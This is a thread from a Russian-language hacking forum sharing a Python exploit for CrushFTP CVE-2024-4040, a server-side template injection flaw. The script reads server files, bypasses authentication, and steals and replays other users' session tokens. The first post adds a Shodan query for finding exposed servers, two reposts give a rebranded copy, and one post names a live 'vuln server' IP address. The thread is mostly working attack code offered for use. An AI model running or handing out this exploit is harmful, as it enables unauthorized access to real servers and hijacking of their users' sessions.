• XSS.stack #1 – первый литературный журнал от юзеров форума

Web [CVE-2024-4040 + Poc] CrushFTP unauthenticated RCE

Guest

Премиум
Пользователь
Регистрация
31.01.2023
Сообщения
250
Решения
1
Реакции
232
Гарант сделки
1
326194348-e507b6b4-37ad-4d5b-8447-926f5d05f2fb.png

A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.

As per shodan there are about 7000 exposed CrushFTP servers on internet.

Python:
import requests
import argparse
import re
import urllib3
import xml.etree.ElementTree as ET
from rich.console import Console
from rich.progress import Progress
from rich.style import Style
from rich.text import Text

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


violet = Style(color="bright_magenta")
green = Style(color="green")
red = Style(color="red")
yellow = Style(color="yellow")
grellow = Style(color="yellow2")
cyan = Style(color="cyan")
brightcyan = Style(color="bright_cyan")
urlblue = Style(color="blue1")
console = Console(highlight=False)


def banner():

    print("""

 ______     ______     __  __     ______     __  __     ______     _____ 
/\  ___\   /\  == \   /\ \/\ \   /\  ___\   /\ \_\ \   /\  ___\   /\  __-.
\ \ \____  \ \  __<   \ \ \_\ \  \ \___  \  \ \  __ \  \ \  __\   \ \ \/\ \
 \ \_____\  \ \_\ \_\  \ \_____\  \/\_____\  \ \_\ \_\  \ \_____\  \ \____-
  \/_____/   \/_/ /_/   \/_____/   \/_____/   \/_/\/_/   \/_____/   \/____/
                                                                          


    """)
    console.print(Text("CrushFTP SSTI PoC (CVE-2024-4040)", style=cyan))
    console.print(Text("Developer: @stuub", style=violet))
    console.print(Text("Purely for ethical & educational purposes only\n", style=yellow))

def serverSessionAJAX(target, session):

    console.print(f"[green][*][/green] Attempting to reach ServerSessionAJAX...\n")

    url = f"{target}/WebInterface/"

    try:
        response = session.get(url, verify=False, allow_redirects=True)

        if response.status_code == 404:
            console.print(f"[green][+][/green] Successfully reached ServerSessionAJAX")
            if 'CrushAuth' in response.cookies and 'currentAuth' in response.cookies:
                crush_auth_cookie = response.cookies['CrushAuth']
                current_auth_cookie = response.cookies['currentAuth']
                console.print(f"[green][+][/green] CrushAuth Session token: " + crush_auth_cookie)
                console.print(f"[green][+][/green] Current Auth Session token: " + current_auth_cookie)
                return crush_auth_cookie, current_auth_cookie
            else:
                console.print(f"[red][-][/red] 'CrushAuth' or 'currentAuth' cookie not found in the response")
                exit(1)

    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to reach ServerSessionAJAX")
        console.print(f"[red][-][/red] Error: " + str(e))
        exit(1)

def SSTI(target, crush_auth_cookie, current_auth_cookie, session):

    console.print(f"\n[green][*][/green] Attempting to exploit SSTI vulnerability...")

    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{hostname}}&names=/a"
    console.print("\n[green][+][/green] URL: [urlblue]{}[/urlblue]".format(url))

    headers = {
        "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
    }

    try:
        response = session.post(url, headers=headers, verify=False, allow_redirects=True)

        if response.status_code == 200:
            console.print(f"[green][+][/green] Successfully exploited SSTI vulnerability")
            root = ET.fromstring(response.text)
            response_text = root.find('response').text
            console.print(f"[green][+][/green] Response: " + response_text)
      
        elif response.status_code == 404 or "{hostname}" in response.text:
            console.print(f"[red][-][/red] SSTI was not successful, server is not vulnerable.")
            console.print(f"[red][-][/red] Response: " + response.text)
            exit(1)

    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to exploit SSTI vulnerability")
        console.print(f"[red][-][/red] Error: " + str(e))
        exit(1)

def authBypass(target, crush_auth_cookie, current_auth_cookie, session, lfi=None):
  
        console.print(f"[green][*][/green] Attempting to bypass authentication...")
  
        url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{working_dir}}&names=/a"
        console.print(f"\n[green][+][/green] URL: " + url)
        headers = {
            "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
        }
  
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)
      
            if "{working_dir}" in response.text:
                console.print(f"[red][-][/red] Bypass was not successful, server is not vulnerable.")
                console.print(f"[red][-][/red] Response: " + response.text)
                exit(1)

            if response.status_code == 200:
                console.print(f"[green][+][/green] Successfully bypassed authentication")
                console.print(f"[green][+][/green] Response: " + response.text)

                root = ET.fromstring(response.text)
                response_text = root.find('response').text
                matches = re.findall(r'file:(.*?)(?=\n|$)', response_text)         
                if matches:
                    install_dir = matches[-1].strip()
                    console.print(f"[green][+][/green] Installation directory of CrushFTP: " + install_dir)
                    file_to_read = lfi if lfi else f"{install_dir}sessions.obj"
                    console.print(f"[green][+][/green] File to read: " + file_to_read)
                    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file_to_read}</INCLUDE>&names=/a"
                    console.print(f"\n[green][+][/green] Attempting to extract {file_to_read}...")
                    console.print(f"\n[green][+][/green] URL: " + url)
                    response = session.post(url, headers=headers, verify=False, allow_redirects=True)

                    if response.status_code == 200 and response.text != "":
                        console.print(f"[green][+][/green] Successfully extracted {file_to_read}")
                        console.print(f"[green][+][/green] Extracted response: \n" + response.text)
                        if not lfi or lfi == f"{install_dir}sessions.obj":
                            extracted_crush_auth = [cookie[:44] for cookie in re.findall(r'CrushAuth=([^;]*)', response.text)]
                            extracted_current_auth = [cookie[:4] for cookie in re.findall(r'currentAuth=([^;]*)', response.text)]

                            console.print(f"\n[green][+][/green] Extracted cookies from {file_to_read}: ")
                            console.print(f"\n[green][+][/green] [yellow2]CrushAuth cookies:[/yellow2] " + ', '.join(extracted_crush_auth))
                            console.print(f"\n[green][+][/green] [yellow2]currentAuth cookies: [/yellow2]" + ', '.join(extracted_current_auth))
                            with open (f"sessions.obj", "w") as f:
                                f.write(response.text)
                            return extracted_crush_auth, extracted_current_auth
                      
                else:
                    print(f"[red][-][/red] Failed to extract file value")
                    return None
              
        except requests.exceptions.RequestException as e:
            console.print(f"[red][-][/red] Failed to bypass authentication")
            console.print(f"[red][-][/red] Error: " + str(e))
            exit(1)

def lfi_wordlist(target, crush_auth_cookie, current_auth_cookie, wordlist,session):

    console = Console()
    with open(wordlist, 'r') as f:
        files = [line.strip() for line in f]

    with Progress(console=console) as progress:
        task = progress.add_task("[bright_cyan]Processing wordlist...[/bright_cyan]", total=len(files))

        for file in files:
            if progress.finished: break

            console.print(f"\n[green][*][/green] [cyan]Attempting to read file:[/cyan] {file}")

            url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file}</INCLUDE>&names=/a"
            headers = {
                "Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"
            }

            try:
                response = session.post(url, headers=headers, verify=False, allow_redirects=True)

                if response.status_code == 200:
                    console.print(f"[green][+][/green] Successfully read file: {file}")
                    console.print(f"[green][+][/green] Response: \n" + response.text)

                progress.update(task, advance=1)
              
            except requests.exceptions.RequestException as e:
                console.print(f"[red][-][/red] Failed to read file: {file}")
                console.print(f"[red][-][/red] Error: " + str(e))

def test_tokens(target, crush_auth_cookie, current_auth_cookie, session):
    console = Console()

    if isinstance(crush_auth_cookie, str):
        crush_auth_cookie = crush_auth_cookie.split(', ')
    if isinstance(current_auth_cookie, str):
        current_auth_cookie = current_auth_cookie.split(', ')

    for crush_auth_token, current_auth_token in zip(crush_auth_cookie, current_auth_cookie):
        url = f"{target}/WebInterface/function?command=getUsername&c2f={current_auth_token}"
        headers = {
            "Cookie": f"CrushAuth={crush_auth_token}; currentAuth={current_auth_token}"
        }
      
        console.print(f"\n[green][+][/green] Testing tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}")
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)

            if response.status_code == 200:
                console.print(f"[green][+][/green] Response: " + response.text)
          
        except requests.exceptions.RequestException as e:
            console.print(f"[red]Failed to test tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}[/red]")
            console.print(f"[red]Error: " + str(e) + "[/red]")


def main():
    parser = argparse.ArgumentParser(description="CrushFTP SSTI PoC (CVE-2024-4040)")
    parser.add_argument("-t", "--target", help="Target CrushFTP URL", required=True)
    parser.add_argument("-l", "--lfi", help="Local File Inclusion")
    parser.add_argument("-w", "--wordlist", help="Wordlist for LFI")
    args = parser.parse_args()
    banner()

    global session
    session = requests.Session()

    crush_auth_cookie, current_auth_cookie = serverSessionAJAX(target=args.target, session=session)

    SSTI(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, session=session)
    extracted_crush_auth, extracted_current_auth = authBypass(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, lfi=args.lfi, session=session)
    if args.wordlist:
        lfi_wordlist(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, wordlist=args.wordlist, session=session)
    test_tokens(target=args.target, crush_auth_cookie=extracted_crush_auth, current_auth_cookie=extracted_current_auth, session=session)

if __name__ == "__main__":
    main()

Shodan query: http.favicon.hash:-1022206565

source
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Exploit.py :


Python:
import requests
import argparse
import re
import urllib3
import xml.etree.ElementTree as ET
from rich.console import Console
from rich.progress import Progress
from rich.style import Style
from rich.text import Text

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

violet = Style(color="bright_magenta")
green = Style(color="green")
red = Style(color="red")
yellow = Style(color="yellow")
grellow = Style(color="yellow2")
cyan = Style(color="cyan")
brightcyan = Style(color="bright_cyan")
urlblue = Style(color="blue1")
console = Console(highlight=False)


def banner():
    console.print("\nHunt3r Kill3rs\n")
    console.print(Text("CrushFTP SSTI PoC (CVE-2024-4040)", style=cyan))
    console.print(Text("Developer: @Hunt3rKill3rs1", style=violet))
    console.print(Text("Purely for ethical & educational purposes only\n", style=yellow))


def reach_server_session_ajax(target, session):
    console.print(f"[green][*][/green] Attempting to reach ServerSessionAJAX...\n")
    url = f"{target}/WebInterface/"
    try:
        response = session.get(url, verify=False, allow_redirects=True)
        if response.status_code == 404:
            console.print(f"[green][+][/green] Successfully reached ServerSessionAJAX")
            if 'CrushAuth' in response.cookies and 'currentAuth' in response.cookies:
                crush_auth_cookie = response.cookies['CrushAuth']
                current_auth_cookie = response.cookies['currentAuth']
                console.print(f"[green][+][/green] CrushAuth Session token: " + crush_auth_cookie)
                console.print(f"[green][+][/green] Current Auth Session token: " + current_auth_cookie)
                return crush_auth_cookie, current_auth_cookie
            else:
                console.print(f"[red][-][/red] 'CrushAuth' or 'currentAuth' cookie not found in the response")
                exit(1)
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to reach ServerSessionAJAX")
        console.print(f"[red][-][/red] Error: {e}")
        exit(1)


def exploit_ssti(target, crush_auth_cookie, current_auth_cookie, session):
    console.print(f"\n[green][*][/green] Attempting to exploit SSTI vulnerability...")
    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{hostname}}&names=/a"
    console.print(f"\n[green][+][/green] URL: [urlblue]{url}[/urlblue]")
    headers = {"Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"}
    try:
        response = session.post(url, headers=headers, verify=False, allow_redirects=True)
        if response.status_code == 200:
            console.print(f"[green][+][/green] Successfully exploited SSTI vulnerability")
            root = ET.fromstring(response.text)
            response_text = root.find('response').text
            console.print(f"[green][+][/green] Response: {response_text}")
        elif response.status_code == 404 or "{hostname}" in response.text:
            console.print(f"[red][-][/red] SSTI was not successful, server is not vulnerable.")
            console.print(f"[red][-][/red] Response: {response.text}")
            exit(1)
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to exploit SSTI vulnerability")
        console.print(f"[red][-][/red] Error: {e}")
        exit(1)


def bypass_authentication(target, crush_auth_cookie, current_auth_cookie, lfi=None, session):
    console.print(f"[green][*][/green] Attempting to bypass authentication...")
    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{working_dir}}&names=/a"
    console.print(f"\n[green][+][/green] URL: {url}")
    headers = {"Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"}
    try:
        response = session.post(url, headers=headers, verify=False, allow_redirects=True)
        if "{working_dir}" in response.text:
            console.print(f"[red][-][/red] Bypass was not successful, server is not vulnerable.")
            console.print(f"[red][-][/red] Response: {response.text}")
            exit(1)
        if response.status_code == 200:
            console.print(f"[green][+][/green] Successfully bypassed authentication")
            console.print(f"[green][+][/green] Response: {response.text}")
            root = ET.fromstring(response.text)
            response_text = root.find('response').text
            matches = re.findall(r'file:(.*?)(?=\n|$)', response_text)
            if matches:
                install_dir = matches[-1].strip()
                console.print(f"[green][+][/green] Installation directory of CrushFTP: {install_dir}")
                file_to_read = lfi if lfi else f"{install_dir}sessions.obj"
                console.print(f"[green][+][/green] File to read: {file_to_read}")
                url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file_to_read}</INCLUDE>&names=/a"
                console.print(f"\n[green][+][/green] Attempting to extract {file_to_read}...")
                console.print(f"\n[green][+][/green] URL: {url}")
                response = session.post(url, headers=headers, verify=False, allow_redirects=True)
                if response.status_code == 200 and response.text != "":
                    console.print(f"[green][+][/green] Successfully extracted {file_to_read}")
                    console.print(f"[green][+][/green] Extracted response: \n{response.text}")
                    if not lfi or lfi == f"{install_dir}sessions.obj":
                        extracted_crush_auth = [cookie[:44] for cookie in re.findall(r'CrushAuth=([^;]*)', response.text)]
                        extracted_current_auth = [cookie[:4] for cookie in re.findall(r'currentAuth=([^;]*)', response.text)]
                        console.print(f"\n[green][+][/green] Extracted cookies from {file_to_read}: ")
                        console.print(f"\n[green][+][/green] [yellow2]CrushAuth cookies:[/yellow2] {', '.join(extracted_crush_auth)}")
                        console.print(f"\n[green][+][/green] [yellow2]currentAuth cookies: [/yellow2] {', '.join(extracted_current_auth)}")
                        with open(f"sessions.obj", "w") as f:
                            f.write(response.text)
                        return extracted_crush_auth, extracted_current_auth
                else:
                    print(f"[red][-][/red] Failed to extract file value")
                    return None
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to bypass authentication")
        console.print(f"[red][-][/red] Error: {e}")
        exit(1)


def read_file_wordlist(target, crush_auth_cookie, current_auth_cookie, wordlist, session):
    console = Console()
    with open(wordlist, 'r') as f:
        files = [line.strip() for line in f]
    with Progress(console=console) as progress:
        task = progress.add_task("[bright_cyan]Processing wordlist...[/bright_cyan]", total=len(files))
        for file in files:
            if progress.finished: break
            console.print(f"\n[green][*][/green] [cyan]Attempting to read file:[/cyan] {file}")
            url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file}</INCLUDE>&names=/a"
            headers = {"Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"}
            try:
                response = session.post(url, headers=headers, verify=False, allow_redirects=True)
                if response.status_code == 200:
                    console.print(f"[green][+][/green] Successfully read file: {file}")
                    console.print(f"[green][+][/green] Response: \n{response.text}")
                progress.update(task, advance=1)
            except requests.exceptions.RequestException as e:
                console.print(f"[red][-][/red] Failed to read file: {file}")
                console.print(f"[red][-][/red] Error: {e}")


def test_tokens(target, crush_auth_cookie, current_auth_cookie, session):
    console = Console()
    if isinstance(crush_auth_cookie, str):
        crush_auth_cookie = crush_auth_cookie.split(', ')
    if isinstance(current_auth_cookie, str):
        current_auth_cookie = current_auth_cookie.split(', ')
    for crush_auth_token, current_auth_token in zip(crush_auth_cookie, current_auth_cookie):
        url = f"{target}/WebInterface/function?command=getUsername&c2f={current_auth_token}"
        headers = {"Cookie": f"CrushAuth={crush_auth_token}; currentAuth={current_auth_token}"}
        console.print(f"\n[green][+][/green] Testing tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}")
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)
            if response.status_code == 200:
                console.print(f"[green][+][/green] Response: {response.text}")
        except requests.exceptions.RequestException as e:
            console.print(f"[red]Failed to test tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}[/red]")
            console.print(f"[red]Error: {e}[/red]")


def main():
    parser = argparse.ArgumentParser(description="CrushFTP SSTI PoC (CVE-2024-4040)")
    parser.add_argument("-t", "--target", help="Target CrushFTP URL", required=True)
    parser.add_argument("-l", "--lfi", help="Local File Inclusion")
    parser.add_argument("-w", "--wordlist", help="Wordlist for LFI")
    args = parser.parse_args()
    banner()
    session = requests.Session()
    crush_auth_cookie, current_auth_cookie = reach_server_session_ajax(target=args.target, session=session)
    exploit_ssti(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, session=session)
    extracted_crush_auth, extracted_current_auth = bypass_authentication(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, lfi=args.lfi, session=session)
    if args.wordlist:
        read_file_wordlist(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, wordlist=args.wordlist, session=session)
    test_tokens(target=args.target, crush_auth_cookie=extracted_crush_auth, current_auth_cookie=extracted_current_auth, session=session)


if __name__ == "__main__":
    main()
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Exploit.py :


Python:
import requests
import argparse
import re
import urllib3
import xml.etree.ElementTree as ET
from rich.console import Console
from rich.progress import Progress
from rich.style import Style
from rich.text import Text

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

violet = Style(color="bright_magenta")
green = Style(color="green")
red = Style(color="red")
yellow = Style(color="yellow")
grellow = Style(color="yellow2")
cyan = Style(color="cyan")
brightcyan = Style(color="bright_cyan")
urlblue = Style(color="blue1")
console = Console(highlight=False)


def banner():
    console.print("\nHunt3r Kill3rs\n")
    console.print(Text("CrushFTP SSTI PoC (CVE-2024-4040)", style=cyan))
    console.print(Text("Developer: @Hunt3rKill3rs1", style=violet))
    console.print(Text("Purely for ethical & educational purposes only\n", style=yellow))


def reach_server_session_ajax(target, session):
    console.print(f"[green][*][/green] Attempting to reach ServerSessionAJAX...\n")
    url = f"{target}/WebInterface/"
    try:
        response = session.get(url, verify=False, allow_redirects=True)
        if response.status_code == 404:
            console.print(f"[green][+][/green] Successfully reached ServerSessionAJAX")
            if 'CrushAuth' in response.cookies and 'currentAuth' in response.cookies:
                crush_auth_cookie = response.cookies['CrushAuth']
                current_auth_cookie = response.cookies['currentAuth']
                console.print(f"[green][+][/green] CrushAuth Session token: " + crush_auth_cookie)
                console.print(f"[green][+][/green] Current Auth Session token: " + current_auth_cookie)
                return crush_auth_cookie, current_auth_cookie
            else:
                console.print(f"[red][-][/red] 'CrushAuth' or 'currentAuth' cookie not found in the response")
                exit(1)
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to reach ServerSessionAJAX")
        console.print(f"[red][-][/red] Error: {e}")
        exit(1)


def exploit_ssti(target, crush_auth_cookie, current_auth_cookie, session):
    console.print(f"\n[green][*][/green] Attempting to exploit SSTI vulnerability...")
    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{hostname}}&names=/a"
    console.print(f"\n[green][+][/green] URL: [urlblue]{url}[/urlblue]")
    headers = {"Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"}
    try:
        response = session.post(url, headers=headers, verify=False, allow_redirects=True)
        if response.status_code == 200:
            console.print(f"[green][+][/green] Successfully exploited SSTI vulnerability")
            root = ET.fromstring(response.text)
            response_text = root.find('response').text
            console.print(f"[green][+][/green] Response: {response_text}")
        elif response.status_code == 404 or "{hostname}" in response.text:
            console.print(f"[red][-][/red] SSTI was not successful, server is not vulnerable.")
            console.print(f"[red][-][/red] Response: {response.text}")
            exit(1)
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to exploit SSTI vulnerability")
        console.print(f"[red][-][/red] Error: {e}")
        exit(1)


def bypass_authentication(target, crush_auth_cookie, current_auth_cookie, lfi=None, session):
    console.print(f"[green][*][/green] Attempting to bypass authentication...")
    url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path={{working_dir}}&names=/a"
    console.print(f"\n[green][+][/green] URL: {url}")
    headers = {"Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"}
    try:
        response = session.post(url, headers=headers, verify=False, allow_redirects=True)
        if "{working_dir}" in response.text:
            console.print(f"[red][-][/red] Bypass was not successful, server is not vulnerable.")
            console.print(f"[red][-][/red] Response: {response.text}")
            exit(1)
        if response.status_code == 200:
            console.print(f"[green][+][/green] Successfully bypassed authentication")
            console.print(f"[green][+][/green] Response: {response.text}")
            root = ET.fromstring(response.text)
            response_text = root.find('response').text
            matches = re.findall(r'file:(.*?)(?=\n|$)', response_text)
            if matches:
                install_dir = matches[-1].strip()
                console.print(f"[green][+][/green] Installation directory of CrushFTP: {install_dir}")
                file_to_read = lfi if lfi else f"{install_dir}sessions.obj"
                console.print(f"[green][+][/green] File to read: {file_to_read}")
                url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file_to_read}</INCLUDE>&names=/a"
                console.print(f"\n[green][+][/green] Attempting to extract {file_to_read}...")
                console.print(f"\n[green][+][/green] URL: {url}")
                response = session.post(url, headers=headers, verify=False, allow_redirects=True)
                if response.status_code == 200 and response.text != "":
                    console.print(f"[green][+][/green] Successfully extracted {file_to_read}")
                    console.print(f"[green][+][/green] Extracted response: \n{response.text}")
                    if not lfi or lfi == f"{install_dir}sessions.obj":
                        extracted_crush_auth = [cookie[:44] for cookie in re.findall(r'CrushAuth=([^;]*)', response.text)]
                        extracted_current_auth = [cookie[:4] for cookie in re.findall(r'currentAuth=([^;]*)', response.text)]
                        console.print(f"\n[green][+][/green] Extracted cookies from {file_to_read}: ")
                        console.print(f"\n[green][+][/green] [yellow2]CrushAuth cookies:[/yellow2] {', '.join(extracted_crush_auth)}")
                        console.print(f"\n[green][+][/green] [yellow2]currentAuth cookies: [/yellow2] {', '.join(extracted_current_auth)}")
                        with open(f"sessions.obj", "w") as f:
                            f.write(response.text)
                        return extracted_crush_auth, extracted_current_auth
                else:
                    print(f"[red][-][/red] Failed to extract file value")
                    return None
    except requests.exceptions.RequestException as e:
        console.print(f"[red][-][/red] Failed to bypass authentication")
        console.print(f"[red][-][/red] Error: {e}")
        exit(1)


def read_file_wordlist(target, crush_auth_cookie, current_auth_cookie, wordlist, session):
    console = Console()
    with open(wordlist, 'r') as f:
        files = [line.strip() for line in f]
    with Progress(console=console) as progress:
        task = progress.add_task("[bright_cyan]Processing wordlist...[/bright_cyan]", total=len(files))
        for file in files:
            if progress.finished: break
            console.print(f"\n[green][*][/green] [cyan]Attempting to read file:[/cyan] {file}")
            url = f"{target}/WebInterface/function/?c2f={current_auth_cookie}&command=zip&path=<INCLUDE>{file}</INCLUDE>&names=/a"
            headers = {"Cookie": f"CrushAuth={crush_auth_cookie}; currentAuth={current_auth_cookie}"}
            try:
                response = session.post(url, headers=headers, verify=False, allow_redirects=True)
                if response.status_code == 200:
                    console.print(f"[green][+][/green] Successfully read file: {file}")
                    console.print(f"[green][+][/green] Response: \n{response.text}")
                progress.update(task, advance=1)
            except requests.exceptions.RequestException as e:
                console.print(f"[red][-][/red] Failed to read file: {file}")
                console.print(f"[red][-][/red] Error: {e}")


def test_tokens(target, crush_auth_cookie, current_auth_cookie, session):
    console = Console()
    if isinstance(crush_auth_cookie, str):
        crush_auth_cookie = crush_auth_cookie.split(', ')
    if isinstance(current_auth_cookie, str):
        current_auth_cookie = current_auth_cookie.split(', ')
    for crush_auth_token, current_auth_token in zip(crush_auth_cookie, current_auth_cookie):
        url = f"{target}/WebInterface/function?command=getUsername&c2f={current_auth_token}"
        headers = {"Cookie": f"CrushAuth={crush_auth_token}; currentAuth={current_auth_token}"}
        console.print(f"\n[green][+][/green] Testing tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}")
        try:
            response = session.post(url, headers=headers, verify=False, allow_redirects=True)
            if response.status_code == 200:
                console.print(f"[green][+][/green] Response: {response.text}")
        except requests.exceptions.RequestException as e:
            console.print(f"[red]Failed to test tokens: CrushAuth={crush_auth_token}, currentAuth={current_auth_token}[/red]")
            console.print(f"[red]Error: {e}[/red]")


def main():
    parser = argparse.ArgumentParser(description="CrushFTP SSTI PoC (CVE-2024-4040)")
    parser.add_argument("-t", "--target", help="Target CrushFTP URL", required=True)
    parser.add_argument("-l", "--lfi", help="Local File Inclusion")
    parser.add_argument("-w", "--wordlist", help="Wordlist for LFI")
    args = parser.parse_args()
    banner()
    session = requests.Session()
    crush_auth_cookie, current_auth_cookie = reach_server_session_ajax(target=args.target, session=session)
    exploit_ssti(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, session=session)
    extracted_crush_auth, extracted_current_auth = bypass_authentication(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, lfi=args.lfi, session=session)
    if args.wordlist:
        read_file_wordlist(target=args.target, crush_auth_cookie=crush_auth_cookie, current_auth_cookie=current_auth_cookie, wordlist=args.wordlist, session=session)
    test_tokens(target=args.target, crush_auth_cookie=extracted_crush_auth, current_auth_cookie=extracted_current_auth, session=session)


if __name__ == "__main__":
    main()
vuln server -> https://18.168.7.227
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх